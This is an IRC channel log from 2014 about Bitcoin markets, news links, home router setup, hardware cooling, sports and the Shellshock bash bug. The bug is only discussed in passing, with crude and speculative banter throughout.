mircea_popescu: it's not expensive except in terms of derpage.
mircea_popescu: "can i wear my pretenses with this five dollar suit ?" "no" "wow what an EXPENSIVE suit!11"
asciilifeform: this is rather more like how in parts of africa, it would be 'expensive' to hire a man without aids virus
asciilifeform: i.e. you'd have to fly him in
mircea_popescu: not so.
mircea_popescu: that analogy would hold if a) no aids could infect trhe brain ever and b) all human parts were detachable, and cost less than a pill in a us hospital.
mircea_popescu: 500 bucks buys you six different pairs of legs and arms
asciilifeform: where do you buy software stack without any dark matter ?
mircea_popescu: it's... free.
asciilifeform might have a somewhat stricter definition of dark matter...
mircea_popescu: no, you just don't want to apply management to the philosophical problem.
mircea_popescu: suppose you have an infinite supply of liars. can you construct an oracle out of this ?
asciilifeform: i'd happily apply alchemy and astrology, if they worked.
asciilifeform: depends - what kind of liars.
asciilifeform: if they're the 'greek' type, that are simply 'not gate', then - sure.
mircea_popescu: suppose there's at least three different types, and you can identify them.
mircea_popescu: absolutely.
asciilifeform: classic puzzler for boys
asciilifeform: of course yes.
mircea_popescu: so then. debian, gentoo, bsds, etc.
asciilifeform: but once you add fools (who can also be liars, but let's not complicate unnecessarily) to the mix...
mircea_popescu: you don';t add fools to the mix.
mircea_popescu: we're not building a world where fools have a chance.
mircea_popescu: fools can be either slaves or dead.
asciilifeform: generations of fools have shat in the soup, though.
mircea_popescu: this is like saying "we've lived there forever"
asciilifeform: e.g. the existence and continued persistence of 'c', x86, etc
mircea_popescu: say to gengis, see.
chetty: http://af.reuters.com/article/commoditiesNews/idAFL6N0RP3V020140924
assbot: Austrian minister for legal action against EU over UK nuclear plant| Agricultural Commodities| Reuters
mircea_popescu: chetty austrians are even more nutso than the germans
chetty: the line of nutsos is getting long
mircea_popescu: so today i learned someone came up with the following idea : take n2o4, heat. it dissociates into 2no2. put through turbine, extract work. as it cools and loses pressure n2o4 reforms. compress, cycle.
mircea_popescu: i should like to see this thing blow up sometime.
assbot: [MPEX] [S.MPOE] 31799 @ 0.000751 = 23.881 BTC [-] {2}
mats_cd03: http://www.cnn.com/2014/09/26/us/oklahoma-beheading/index.html
assbot: Beheading suspect recently fired, Oklahoma police say - CNN.com
chetty: this beheading thing is about at meme status
asciilifeform: 'hedsoff.com'
mircea_popescu: asciilifeform btw what did you think of the hour of battle rewrite ?
assbot: [HAVELOCK] [B.SELL] 199 @ 0.00370351 = 0.737 BTC [-] {2}
asciilifeform: mircea_popescu: it was spiffy, you oughta do more sheckleys.
asciilifeform marches off to do meatspace chore
mircea_popescu: hm.
mats_cd03: http://twentytwowords.com/girly-things-are-gut-wrenchingly-powerful-when-paired-with-poignant-military-pictures
assbot: Girly things are gut-wrenchingly powerful when paired with poignant military pictures | 22 Words
[]bot: Bet placed: 1 BTC for No on "Facebook Myspace'd" http://bitbet.us/bet/771/ Odds: 20(Y):80(N) by coin, 27(Y):73(N) by weight. Total bet: 24.93769036 BTC. Current weight: 35,829.
mircea_popescu: why's this gutwrench[ing] construction become such a staple of chicklit anyway ?
mircea_popescu: the likeliness of someone having actually witnessed a savaging is pretty much inversely proprotional to the count of "gutwrenching" they used over their lifetime.
mats_cd03: perhaps because females are intimately familiar with the particular sensation of gut wrenching?
mircea_popescu: at best they flatter themselves to be.
mats_cd03: who knows. i dangle
mats_cd03: these fucking tumblr things are why personnel advocate for the draft
mats_cd03: as misguided as that is, there's something to be said for shared sacrifice
mircea_popescu: by the way, that dangle reminds me : here's what i currently believe the best dialogue in the history of cinema : http://www.youtube.com/watch?v=9r-vu-l8mLE
assbot: Miller's Crossing -- Take your flunky and dangle - YouTube
mircea_popescu: mats_cd03 there's definitely value in educating teenagers.
chetty thinks most women only have a vague idea of where gut is
bounce: what? it's where all the feels are. obviously.
assbot: [MPEX] [S.MPOE] 13550 @ 0.00075058 = 10.1704 BTC [-]
thestringpuller: http://i.imgur.com/aRZvMZ6.jpg
mats_cd03: thestringpuller: i have an important question for you.
mats_cd03: are you like me, and your inner monologue is performed by a black man?
mats_cd03: i get this impression from you. perhaps i'm projecting.
assbot: [MPEX] [S.MPOE] 33100 @ 0.00075023 = 24.8326 BTC [-] {3}
thestringpuller: well i am a black man. i was just surrounded by white people all my life.
thestringpuller: so my inner black man is very repressed. like in the chappelle's "When keeping it real goes wrong"
mats_cd03: i see
mats_cd03: i am yellow, so i guess i'm like a meat pie
bounce: pink on the inside, yellow on the outside, and a blackened soul?
mats_cd03: sure
mircea_popescu: "At the Munich Satellite Navigation Summit on 10 March 2010, a Chinese government official asked the European Commission why it no longer wanted to work with China, and when China's cash investment in Galileo would be returned."
mircea_popescu: lel.
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chetty: https://pbs.twimg.com/media/ByZD6KmCYAAFFHm.jpg
mircea_popescu: chetty quite.
mircea_popescu: pity it doesn't also mention how bush and his lackey blair lied about imagined "weapons" that they themselves did have, but iraq did not have.
mircea_popescu: all this mess stemming from the intellectually bankrupt ideology that there is such a thing as "progress" which somehow is made out of "change".
mircea_popescu: when mingled with the nonsensical misrepresentation of democracy as a representative process, the resulting hypergolic explosion scatters headless chickens over a large surface, which headless chickens then proceed to "do something" because they "have to do something"
chetty: http://www.buenosairesherald.com/article/170705/tax-bureau-gets-swiss-bank-accounts-data
assbot: Tax bureau gets Swiss bank accounts data - BuenosAiresHerald.com
mircea_popescu: everyone's whore, those swiss.
mircea_popescu: "The head of the AFIP tax bureau Ricardo Echegaray received yesterday an encrypted CD from the French government containing information on 3,900 undeclared bank accounts of Argentine origin in the Swiss branch of HSBC. The original source of information is whistleblower Hervé Falciani, who worked as an IT engineer at the bank for seven years before deciding to leak what he saw as systemic tax evasion."
mircea_popescu: lawl.
mircea_popescu: "“We will analyze the information on a case-by-case basis, and cross-reference this database with the taxpayers that have declared accounts on Switzerland’s HSBC,” Echegaray explained afterwards when meeting the press at the Argentine Embassy in France." << how about "we can't use stolen data".
ben_vulpes: and yet being "unbanked" is a bad thing to the libtard
mircea_popescu: "According to Clarín’s supplement iEco, it was Falciani who originally contacted the Argentine authorities to talk about the list, but there was a legal obstacle to circumvent before the information could be used by AFIP: if the list was given straight to Echegaray outside official state channels, its validity would not have stood in front of a court of law.
mircea_popescu: The fact that the information was today released by the French state to Echegaray under the legal umbrella of a bilateral agreement between both countries’ tax authorities on so-called double taxation put those doubts to rest."
mircea_popescu: yeah lol, im sure it does.
mircea_popescu: if you're poor.
assbot: [MPEX] [S.MPOE] 31700 @ 0.0007508 = 23.8004 BTC [+] {2}
chetty: http://deutsche-wirtschafts-nachrichten.de/2014/09/25/auf-dem-weg-in-den-autoritaeren-staat-ukraine-fuehrt-zwangsarbeit-ein/
assbot: Auf dem Weg in den autoritren Staat: Ukraine fhrt Zwangsarbeit ein | DEUTSCHE WIRTSCHAFTS NACHRICHTEN
assbot: [MPEX] [S.MPOE] 1833 @ 0.00074927 = 1.3734 BTC [-]
mircea_popescu: “Butterfly Labs is disappointed in the heavy-handed actions of the Federal Trade Commission. In a rush to judgment, the FTC has acted as judge, jury and executioner, contrary to our intended system of governmental checks and balances. "
mircea_popescu: dude check them out, they're doing it EXACTLY .
mircea_popescu: “It appears the FTC has decided to go to war on bitcoin overall and is starting with Butterfly Labs. Butterfly Labs is being portrayed by the FTC as a bogus and fake company."
mircea_popescu: scammer won't change his tune even if his tune is pre-published years earlier. because.. why would he.
mircea_popescu: ;;later tell jborkl you don't know where to start ? here's a suggestion as to where to start : http://trilema.com/2013/preemptive-strike-to-have-on-hand-for-when-butterfly-labs-gets-hauled-off-to-jail-in-corpore/
assbot: Preemptive strike, to have on hand for when Butterfly Labs gets hauled off to jail in corpore pe Trilema - Un blog de Mircea Popescu.
gribble: The operation succeeded.
mircea_popescu: ;;rated jborkl
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mircea_popescu: ;;rated jborkl_
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mats_cd03: bfl is bitcoin. good defense.
kakobrekla: bfl is buttcoin.
BingoBoingo: assbot> Tax bureau gets Swiss bank accounts data - BuenosAiresHerald.com << Much bigger news for BTC than PayPal trying to get its dick wet
mircea_popescu: soo, trying to daisychain nat routers. the 2nd one i configured to use as static ip 192.168.0.102 which is what the upstream one would have allocated it, and then 192.168.0.1 as gateway
mircea_popescu: the router connects fine, as proven by knowing what time it is. computers connecting to it see its network, but fail to connect to the interwebs
mircea_popescu: what am i doing wrong here ?
assbot: [MPEX] [S.MPOE] 19900 @ 0.00075231 = 14.971 BTC [+]
BingoBoingo: Did you make sure the goat was a virgin?
mircea_popescu: no but srsly.
BingoBoingo: Is it an issue with the firewall/packet-filter?
mircea_popescu: i would guess no.
assbot: MolokoDesk +v failed; L1: 0, L2: 0
dub: you went long on NAT.ROUTERS
dub: the meme that keeps on giving
mircea_popescu: dub heh
mircea_popescu: so can the innermost lan think the router is 192:168:0:1 while the router thinks the other router is 192:168:0:1 ?
mircea_popescu: hm, this shou;dn't work.
dub: correct
dignork: never tried it, but net 1 - 192.168.0.x, net 2 - 192.168.1.x should work if both use 255.255.255.0 mask
mircea_popescu: so logically, the outside router is 192.168.0.1, and the inside router 192.168.0.102 in its system. however the public ip address of the inside router is 192.168 >> 1 <<< . 1
mircea_popescu: and everything magically works.
mircea_popescu: dignork exactly. tyvm :)
mircea_popescu: hey, being a network engineer is kinda fun.
dub: lets see about 'everything'
mircea_popescu: dub i know enough to do port forwarding for things that iwant to work,
mircea_popescu: moreover i don't use so many dumb things that have annoying needs.
dub: <mircea_popescu> hey, being a network engineer is kinda fun.
dub: get back to me when you've stood in a cold noisy DC on a con call to mumbai for 15 hours
dignork: dub: do you know of any sane alternative to wireshark? because working with <1G pcaps and re-reading the whole stupid file each time I change view filter hurts my sense of beauty
asciilifeform: dignork: tcpdump...
dignork: asciilifeform: it still works on unindexed raw file...
asciilifeform: also lol, mircea_popescu getting his boxes off dhcp just today...?
dub: ngrep et al are good for refining your set
asciilifeform: afaik there is no serious contender for alternative to 'wireshark.'
asciilifeform: just one of those things which there's precisely one of.
asciilifeform: (at least 'wireshark' is phreee, unlike 'ida')
dignork: they do have something commercial, but I did not look too close
asciilifeform: chetty: ukraine-fuehrt-zwangsarbeit-ein << arbeit macht frei.
asciilifeform: dignork: which 'they'
RagnarDanneskjol: !up MolokoDesk
MolokoDesk: hi.
MolokoDesk: regarding the deedBot project: it's demonstratable now.
dignork: asciilifeform: on wireshark site they promoted some wunder-вафля which can work with large datasets, but it's not there anymore
MolokoDesk: and useable if you want to tolerate it's in-channel announcements. I'll make it terse by commenting most of those out. at that point it's ready to use.
RagnarDanneskjol: mircea_popescu - pls ping MolokoDesk when you want to go over deed module
asciilifeform: dignork: haha, yes, it's gone.
MolokoDesk: the verbose messages are probably useful for the demo to discuss to any level of detail what it does and how it does it.
dub: wiresharks problem is being single thread iirc
BingoBoingo: Multithreading is just a workaround for the real problem
asciilifeform: dub: has other problems also
dignork: dub: it's IO bound mostly, so I'd vote for indexes :)
dub: dudes at old shop bought a wizbang 24 core/80?gigglebits machine for the purpose,then watched it humming along on 1 core
BingoBoingo is sad more people aren't building chips "Up" and making freon check a part of computer maintenance in more scenarios. Manhattan, New York instead of Manhattan, Kansas...
asciilifeform: BingoBoingo: ever own the old 'koolance' freon cpu gizmo ?
BingoBoingo: asciilifeform: not at all
asciilifeform: nm, 'kryotech'
asciilifeform: http://images.anandtech.com/old/cooling/kryotech/renegade/diagram.jpg
asciilifeform: (why never caught on? answer: anything that can go below room temp. can have problems with condensation.)
BingoBoingo: Ah, I'm imaging the heat exchange goes outdoors. Like in airconditioning.
asciilifeform: regardless of where the hot end is.
asciilifeform: if cold end is below room temp - can condense.
dub: know a dude that built one out of an old fridge
asciilifeform: trivial, esp. if you can weld.
dub: never saw active duty for reason stated
asciilifeform: simply not a very good idea.
asciilifeform: better idea - gigantic heat sinks.
asciilifeform: as in, desk sized.
BingoBoingo: But if the cold end never dips below room temperature...
assbot: [MPEX] [S.MPOE] 77405 @ 0.00074831 = 57.9229 BTC [-] {3}
BingoBoingo is imagining single core producing lots of heat...
dub: ercall this guy saying it was -36C on teh end oslt
BingoBoingo: dub: Then his chip is severely underclocked for this solution
asciilifeform: BingoBoingo: what are you working with ?
BingoBoingo: asciilifeform: A napkin, "Netburst" pentium 4 stats and imagining scaling from there straight up on the clock...
xanthyos: https://www.youtube.com/watch?v=KoQYy8NWIiE
assbot: THURMAN VS BRUTALUS - YouTube
asciilifeform: BingoBoingo: what do you intend to do with the memory ?
BingoBoingo: asciilifeform: That might be on the next napkin. atm I'm kind of leaning towards the memory not of die using some heat to prevent condensation.
asciilifeform: BingoBoingo: not the heat, no. the wait states.
BingoBoingo: Bottleneck sure. Kind of like a disk drive in comparison. If a process and its handlers can't fit in 16 MB of on chip cache though this is a wrong solution for the task.
asciilifeform: BingoBoingo: intel and amd both have 'cache-as-ram mode', find it.
RagnarDanneskjol: requesting op please invite deedbot to chan
asciilifeform: BingoBoingo: it is used, for example, by bios prior to dram init sequence.
asciilifeform: kakobrekla ?
RagnarDanneskjol: don't know who else is op in here
BingoBoingo: asciilifeform: actually now my brain is encountering locking errors on finding a use case for garage sized single core monster machine.
asciilifeform: if you don't know why you need it - you don't
asciilifeform: BingoBoingo: here, have some fun, https://www.google.com/search?site=&tbm=pts&source=hp&q=national+security+agency
assbot: national security agency - Google Search
asciilifeform: (a long gap, more than a few years, between filing date and publication date - means a formerly secret patent. those are only printed when the subject matter leaks.)
assbot: [MPEX] [S.MPOE] 7750 @ 0.00074826 = 5.799 BTC [-]
BingoBoingo: Ah, more productive. I was almost going to have to posit a "spiritual" sort of use case. Machine that does i++ as fast as possible, not as useful machine but as useful monument.
asciilifeform: prayer mill ?
asciilifeform: build an adder out of GaAs ECL logic.
BingoBoingo: Well, I dun see how such a machine would be useful as a networked device
asciilifeform: actually it isn't an entirely useless thing, such devices can be used to provide experimental proof of, e.g., sr time dilation (yes, exists)
asciilifeform: ^ was an actual problem with u.s. gps sats.
asciilifeform: !up MolokoDesk
decimation: time dilation is accounted for in any reasonable gps receiver
asciilifeform: yes.
asciilifeform: but, if i recall, wasn't, when first built.
decimation: yeah I would believe. Also GPS is one of the few that chose a rational timebase, no leap seconds
BingoBoingo: This is true. GPS in the 90's was rather useless for pinpoint one's location in a city. Can now tell which building's entrance you are pondering.
asciilifeform: BingoBoingo: nothing to do with this. clinton switched off 'selective availability'
BingoBoingo: I might need to read more, but I though the whole selective availability thing was a bluff.
asciilifeform: BingoBoingo: misnomer. wasn't about the present-day claim of switching off location data to a geographic region
decimation: selective availability definitely existed
asciilifeform: rather, there were two signals, one 'civilian' - nearly worthless, another 'private' - which was accurate
assbot: [MPEX] [S.MPOE] 10950 @ 0.00074756 = 8.1858 BTC [-] {2}
dub: not same signal with a keyed delay?
BingoBoingo: asciilifeform: Well yeah, that second is what I mean. I dunno that the private was especially useful until the satellites accounted for relativity as they intuited time onto the manifold.
asciilifeform: http://www.aviationtoday.com/av/issue/feature/The-Real-Reason-Selective-Availability-Was-Turned-Off_12739.html
assbot: Avionics Magazine :: The Real Reason Selective Availability Was Turned Off
asciilifeform: ^ speculation
dub: anyway isnt BingoBoingo conflating gps with goog/appl location service?
BingoBoingo: https://www.google.com/patents/US7607858?dq=national+security+agency&hl=en&sa=X&ei=xfMlVNjpD5KYyASjy4CgBQ&ved=0CEIQ6AEwBQ << No countermeasure for thermite? (Not to breach, but to seal more)
assbot: Patent US7607858 - Secure manhole accessway - Google Patents
dub: gps still sucks without good sky
asciilifeform: BingoBoingo: no countermeasure to a turned over garbage truck on it, either
BingoBoingo: dub> anyway isnt BingoBoingo conflating gps with goog/appl location service? << Not really. Dun have those standards to work with.
kakobrekla: RagnarDanneskjol cant you joint it?
kakobrekla: join*
asciilifeform: BingoBoingo: u.s. military establishment has an ancient obsession with kommunist saboteurs (tm) hiding inside manholes.
asciilifeform: BingoBoingo: go to wash., d.c., look at manholes; sometimes they forget to strip the 'presidential' weld seals off.
BingoBoingo: Ah, this particular municipality I'm in atm has a problem of erosion wound manholes threatening to collapse street, leaving the structures supporting manholes as tire slaughtering juggernauts.
MolokoDesk: that's interesting. (.join function for deedBot)
BingoBoingo: !up deedBot
MolokoDesk: bear with the verbose mode...
MolokoDesk: .dump
deedBot: time=1411774314 LAST_BUNDLE_TIME=1411774109 elapsed=205
deedBot: TRACKING: BUNDLE_PENDING-15DJH8JTCPpNhTFAFRyvLNNs4zVStB8UH2.txt = (address = 15DJH8JTCPpNhTFAFRyvLNNs4zVStB8UH2) (mtime = 1411774101) (ctime = 1411774109)
deedBot: DEEDBOT_CHAN=#cex-squawk ERROR_CHAN=MolokoDesk USING_API=bkchain.org scraping/API INTERVAL=3600
deedBot: (switching DEEDBOT_CHAN from #cex-squawk to #bitcoin-assets)
kakobrekla: register the bots nick
MolokoDesk: i would but I'm not sure I want to put my password in the code.
kakobrekla: ...
kakobrekla: make up a new password!
dub: but its MY passwd!
kakobrekla: ok ill make it up for you
dub: 1p4sswerd
bounce: *******
kakobrekla: i was going to suggest password124
MolokoDesk: freenode assigns the same password to every nick I register. they're all me. It's some anti-sockpuppet feature. There may be work around. I haven't looked into it deeply
kakobrekla: (usually the hackers go for 123)
bounce: haxx0rz!!1!
dub: uh, use a different email address?
MolokoDesk: registering it then dumping the registration would work, but not with WoT
kakobrekla: listen to dub
bounce: think you'd have to reg the bot separately anyhow. ask in #freenode?
dub: but its MY email address!
kakobrekla: use dubs email address
MolokoDesk: heh.
BingoBoingo: Use me@hotmail.com
MolokoDesk: mailinator.com
BingoBoingo: billg@microsoft.com
BingoBoingo: or maybe even tlarussa@diamondbacks.com
BingoBoingo: (last email address not known to go to a mailbox)
BingoBoingo: (or the first)
MolokoDesk: asking nickserv often works out well.
MolokoDesk: I may simply make the deedBot register itself.
kakobrekla: ping me when its done
MolokoDesk: back in a while. shuffling logins and uninstalling/reinstalling deedBot. I'll spare you further details.
BingoBoingo: So... MacIvory is kind of the first thing I've seen that makes the Mac II seem interesting
asciilifeform: BingoBoingo: you can still buy them.
asciilifeform: (or, last i checked, a few years ago0
BingoBoingo: I know
asciilifeform: and, incidentally...
asciilifeform: ;;sell 1 "Symbolics 3620 Lisp Machine. Photos: http://www.loper-os.org/?p=51" at 3 btc must pick up in Washington, D.C. area, this item cannot be shipped economically.
assbot: Loper OS » Lisp, Lisp, Lisp Machine, Lisp Machine is Fun!
gribble: Error: For identification purposes, you must be identified via GPG to use the order book.
asciilifeform: ;;sell 1 "Symbolics 3620 Lisp Machine. Photos: http://www.loper-os.org/?p=51" at 3 btc must pick up in Washington, D.C. area, this item cannot be shipped economically.
assbot: Loper OS » Lisp, Lisp, Lisp Machine, Lisp Machine is Fun!
gribble: Order id 21509 created.
asciilifeform: http://bitcoin-otc.com/vieworderbook.php << not looking so alive
assbot: #bitcoin-otc order book
kakobrekla: indeed
BingoBoingo: http://blackbag.gawker.com/the-pentagon-isnt-done-investigating-1-700-child-porn-c-1639433705/+leahfinnegan
assbot: The Pentagon Isn't Done Investigating 1,700 Child Porn Cases From 2006
asciilifeform: even funnier, (linked) - http://blackbag.gawker.com/those-interceptor-fake-cell-phone-towers-are-in-washi-1637721419
assbot: Those "Interceptor" Fake Cell Phone Towers Are in Washington D.C. Now
BingoBoingo: asciilifeform: Why must you temp me with interesting hardware at a time when I'm trying to condense necessary harware to fit onto Backpack
BingoBoingo is still surprised no one has bitten on the book I've listed in the orderbook
asciilifeform: BingoBoingo: i've been saving that thing so that i can ask it to be brought to my 'peine forte et dure.'
asciilifeform: but, one can only dream, of such a privilege nowadays.
asciilifeform: (it weighs ~60 kg!)
asciilifeform: the console - another 30
BingoBoingo: Ah. So two of those could do most of the work in the 'peine forte et dure'
BingoBoingo: To compensate I imagine they follow with individual grains of sand...
RagnarDanneskjol: !up deedBot
BingoBoingo: ;;ticker
gribble: Bitstamp BTCUSD ticker | Best bid: 404.17, Best ask: 405.64, Bid-ask spread: 1.47000, Last trade: 403.42, 24 hour volume: 9924.61680006, 24 hour low: 396.53, 24 hour high: 414.35, 24 hour vwap: 404.93824206
assbot: [MPEX] [S.MPOE] 13088 @ 0.00074756 = 9.7841 BTC [-]
asciilifeform: BingoBoingo: https://www.google.com/patents/US6784591 << best lulz
assbot: Patent US6784591 - Gravitational wave generator utilizing submicroscopic energizable elements - Google Patents
BingoBoingo: What... the fuck...
BingoBoingo: http://drgrumpyinthehouse.blogspot.com/2014/09/memories.html
assbot: Doctor Grumpy in the House: Memories...
BingoBoingo: Airplane is solaris box and scada controllers, Airplane is Unix box with wings http://www.theguardian.com/commentisfree/video/2012/apr/19/cory-doctorow-regulation-computation-video time roughly 15:15
assbot: There is a war coming: Cory Doctorow on the future regulation of general purpose computation video | Comment is free | The Guardian
Duffer1: BingoBoingo, http://en.wikipedia.org/wiki/Speed_of_gravity
assbot: Speed of gravity - Wikipedia, the free encyclopedia
asciilifeform: as far as anyone can tell - equal to 'c'
Duffer1: yep, but without the traditional propogation of a signal through wire
BingoBoingo: http://www.gomerblog.com/2014/09/resuscitate/ >> "Cons / Battery life is weak and Elmo’s chest cracks easily"
assbot: Product Review: Mattels Resuscitate Me Elmo - Medical Satire - GomerBlog
Duffer1: presumably zero latency depending on the range of the receiving sensor
Duffer1: er presumably zero latency, range dependant on receiving sensor
asciilifeform: if zero -> break sr
asciilifeform: talk backwards in time, or with 'parallel universes' - take your pick
BingoBoingo: Mega bezzel >> http://crazyrxman.blogspot.com/2014/09/another-reason-mail-order-pharmacy-sucks.html
assbot: Crazy RxMan: Another Reason Mail Order Pharmacy Sucks
BingoBoingo: Business makes other business its unpaid support line
BingoBoingo: http://www.sportsonearth.com/article/96334428/college-football-week-5-viewers-guide-picks-previews?partnerId=as_mlb_20140927_32347396
assbot: Top teams will attempt to avoid traps in Week 5 of college football. | SportsonEarth.com : Matt Brown Article
BingoBoingo: ^ Maryland v. Indiana should be an interesting game.
decimation: the fact that maryland is in the big ten now his hilarious
BingoBoingo: decimation: Not really considering Illinois managed to stay in. Hilarious will be that in the next 5 years there is going to be a game where Maryland fucks the ever loving shit out of Ohio State.
BingoBoingo: decimation: What drives excitement in the college game is how disproportionately good the great players are in relation to replacement level. Hence Johnny Manziel singlehandedly making A&M competitive or Tevin Coleman avoiding a coma leading the Indiana upset over Missouri lastweekend almost on his own (Missouri's shitty center helped by not knowing how to snap the fucking ball to the quarterback) http://www.thedrinkingrecord.com/
assbot: Bingo Blog | - of Bitcoin and Boingo
BingoBoingo: 2014/09/22/a-rough-weekend-for-missouri-sports/
RagnarDanneskjol: you follow SEC/ACC bingo?
BingoBoingo: RagnarDanneskjol: Mostly SEC/Big 12
BingoBoingo: Curse of one of the ALma Maters.
RagnarDanneskjol: me too - they make other divisions look like JV imo
BingoBoingo: For the Most part. On the downside other divisions can produce some ridiculously dominant teams due to the lack of serious threats
BingoBoingo: See: Florida State
RagnarDanneskjol: oh yea
BingoBoingo: But I will admit last week's Mizzou loss, they might as well have fucking lost to Mckendree, another Alma Mater which only joined the NCAA 2 years ago, in D 2
RagnarDanneskjol: right - that was pretty lame
BingoBoingo: But still Tevin Coleman, coming back from a near coma was a beast for Indiana.
RagnarDanneskjol: missed that one
BingoBoingo: Dude sat out the entire second quarter on an oxygen machine, game back the second half. Made game winning plays. Definitely making it into the Nfl if he doesn't get himself killed first.
RagnarDanneskjol: oh wow
BingoBoingo: The dude was on supplemental oxygen though before he came back. Why he didn't fucking cross the street to the hospital(s) you could see on camera I will never know.
RagnarDanneskjol: hmm
BingoBoingo: On the other side Mizzou's quarterback displayed spectacluar gymnastic feats of athleticism... merely getting the ball on completely fucked snaps.
BingoBoingo: Doubt He'll finish the season if they keep that center.
BingoBoingo: You can have a great quarterback, but it doesn't mean much if they have to burn time getting the ball in the first place instead of getting it downfield.
RagnarDanneskjol: exactly
BingoBoingo: But that's a hazard of the College game. Good players lose eligibility. Whereas in the NFL you can pick a position play to within 5lbs and 0.5 inches of the coach's ideal
RagnarDanneskjol: hmm. intersting point. I can't stand pro sports
BingoBoingo: College teams have to keep merely replacement level players from being a handicap.
RagnarDanneskjol: right
BingoBoingo: Well, I like baseball because the great players have the space to make careers. Same for hockey. In the NFL though, I tend to root for players over teams and hope they survive long enough to make it over the sub-two year average career.
RagnarDanneskjol: right - baseball is the exception
BingoBoingo: Right, because Derek Jeter gets to go out with dignity and... Brett Farve after all that CTE can't even continue to grasp hook up etiquette.
RagnarDanneskjol: ha
BingoBoingo: The NBA of course is its own different animal in that it is still recovering from Space Jam, Kazam, and everything but basketball being the center of attention
BingoBoingo: Baseball fucked itself pretty hard by discouraging anyone from liking good players with the PED witchhunt, but... At least it never had a Space Jam.
BingoBoingo: As great as Lebron is, his legacy is going to be compared to the Mega Stars from before the Internet gave such categories serious competition.
RagnarDanneskjol: mhmm
BingoBoingo: Baseball went through this in the 1960's though when neither Marris nor Mantle could be the next Babe Ruth.
BingoBoingo: Creeping up on the NFL (and College Football) is the specter of people prefering to watch games at the bar or at home. Combatting this so far has been teams declaring any Stadium older than 15 years obsolete, but all it takes is one city calling the bluff and chasing their team to Los Angeles for the pressure the NFL exerts to deflate.
BingoBoingo: Then there's the revenue sharing and salary cap shit in the NFL that makes me nauseous... Why should good teams have to disband their core in the same of salary caps? I have no problem with the idea that a Jeter and A Rod-less Yankee team will have Giancarlo Stanton, but salary caps a sa parity tool are even stupider in the NFL where they actually exist as most players careers end within two seasons.
BingoBoingo: lol, is anything wrong with ksh? >> http://www.csoonline.com/article/2688008/security-leadership/three-steps-you-need-to-take-to-avoid-overreacting-to-the-bash-bug.html
assbot: Three steps you need to take to avoid overreacting to the bash bug | CSO Online
asciilifeform: lol that turd reads like it was a 'mad libs' product
asciilifeform: with 'bash bug' inserted in a blank
BingoBoingo: asciilifeform: Well they probably already had the form letter ready
BingoBoingo is still rather sad there is interesting harware right down US 50 from himself, but it is too heavy to acquire.
asciilifeform: too heavy for what?
BingoBoingo: asciilifeform: Too heavy for Mexico backpack
BingoBoingo: And then checking in baggage from Neuvo Laredo to hardware BA
BingoBoingo: I'm coming to terms with my car running out of value to make it worth boating across the Darien
BingoBoingo: So likely the plan may or may not involve hoofing it that stretch and buying another motor vehicle
asciilifeform: BingoBoingo: presumably one-way trip ?
BingoBoingo: asciilifeform: Nah, I'll check out New Reno when it happens
BingoBoingo: The tragic flaw with TDV's Galts gultch Chile is that it could have been viabile if only instead they went for an apartment block in a city...
asciilifeform: what kind of 'gulch' would that be.
asciilifeform: the whole fantasy involves a 'hidden fortress' in some shangri-la
BingoBoingo: asciilifeform: And there's the trick. You can't have shangri-la without fresh nubile women, and you can't have a place for them to congregate without a city. By this metric a courtyard between building wings could be all the gultch necessary.
BingoBoingo: Hidden, Fortress, and neither compose a triangle.
asciilifeform: ;;google mineshaft gap
gribble: Missile gap - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Missile_gap>; Dr. Strangelove - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Dr._Strangelove>; Mineshaft gap - Dr. Strangelove - YouTube: <http://www.youtube.com/watch?v=ybSzoLCCX-Y>
BingoBoingo: If you are worried about the mineshaft gap you are on the wrong continent
BingoBoingo: Africa where Ebola is about to become a permanent feature of life, or South America where anyone of worth from the remains of Rome settled are the extant options.
asciilifeform: BingoBoingo: Strangelove: 'Regrettably, yes. But it is, you know, a sacrifice required for the future of the human race. I hasten to add that since each man will be required to do prodigious...service along these lines, the women will have to be selected for their sexual characteristics which will have to be of a highly stimulating nature.' Russian Ambassador: 'I must confess, you have an astonishingly good ide
asciilifeform: a there, Doctor.'
asciilifeform: (re: 'mineshaft gap')
BingoBoingo: INdeed
BingoBoingo: Also note his beautiful calculator.
BingoBoingo: I wish I had the dexterity to handle clockwork in a creative way
BingoBoingo: "Lindh’s NAS ran Bash alternative Dash by default and a tweet from security researcher Dragos Ruiu appeared to back up Lindh’s early research. If derivatives of Bash are also vulnerable to Shellshock, this would widen the number of potential targets massively." << BADBOIS Guy >> http://www.theguardian.com/technology/2014/sep/26/bash-bug-shellshock-richard-stallman
assbot: Shellshock just 'a blip' says Richard Stallman as Bash bug attacks increase | Technology | theguardian.com
asciilifeform: what is rms holding in the photo?
BingoBoingo: looks like a bit of interesting chicom tech
asciilifeform: possibly 'loongson'
asciilifeform: (largely unobtainable outside of cn)
BingoBoingo: I thought he was always on longsoon now a days. I'd never seen one with a detaching keyboard though.
asciilifeform: looks like a miniature ('happyhacking' brand?) item
BingoBoingo: Are there any longsoons that aren't in miniature?
asciilifeform: no, the keyboard
BingoBoingo: Ah
asciilifeform: sat on top of the laptop
BingoBoingo: I was inclined to think that might be the laptop's own detached
asciilifeform: loongson (and, afaik, anyone else) does not sell such a thing
BingoBoingo: My brother's freshman year room mate I am told had a pantent on a similar detachable keyboard arrangement.Last I check as of 2007 the VC circus had enlarged his expectation's sphincter many guages
asciilifeform: trivially extend the cable that connects laptop keyboard. but, why?!?
BingoBoingo: asciilifeform: Because he was 17, paki, and his parents conditioned him for entrpreneuership.
BingoBoingo: In the interim my younger brother went to dental school, and... why the fuck didn't I do that...
BingoBoingo: Shit doesn't even require a sould cruching residency.
BingoBoingo: http://arstechnica.com/information-technology/2014/09/yahoo-killing-off-yahoo-after-20-years-of-hierarchical-organization/
assbot: Yahoo killing off Yahoo after 20 years of hierarchical organization | Ars Technica
BingoBoingo thinks to DMOZ's undead fate
BingoBoingo: DMOZ being a project left for the people who aren't even good enough for wikipedia fail.
decimation: this 'bash bug' is hilarious. one wonders who knew about it for the past few years, and who exploited it unawares...
asciilifeform: decimation: who knew << the author.
asciilifeform: and his handlers.
kakobrekla: dunno if its so easy to claim that
decimation: do we know who the author is?
asciilifeform: kakobrekla: https://www.uwgb.edu/dutchs/PSEUDOSC/WhyNoMiracles.HTM << obligatory
assbot: Why Science Can't Accept Miracles (Even if They Really Exist)
asciilifeform: this essay more or less explains why it is necessary to presume an author, and his handlers.
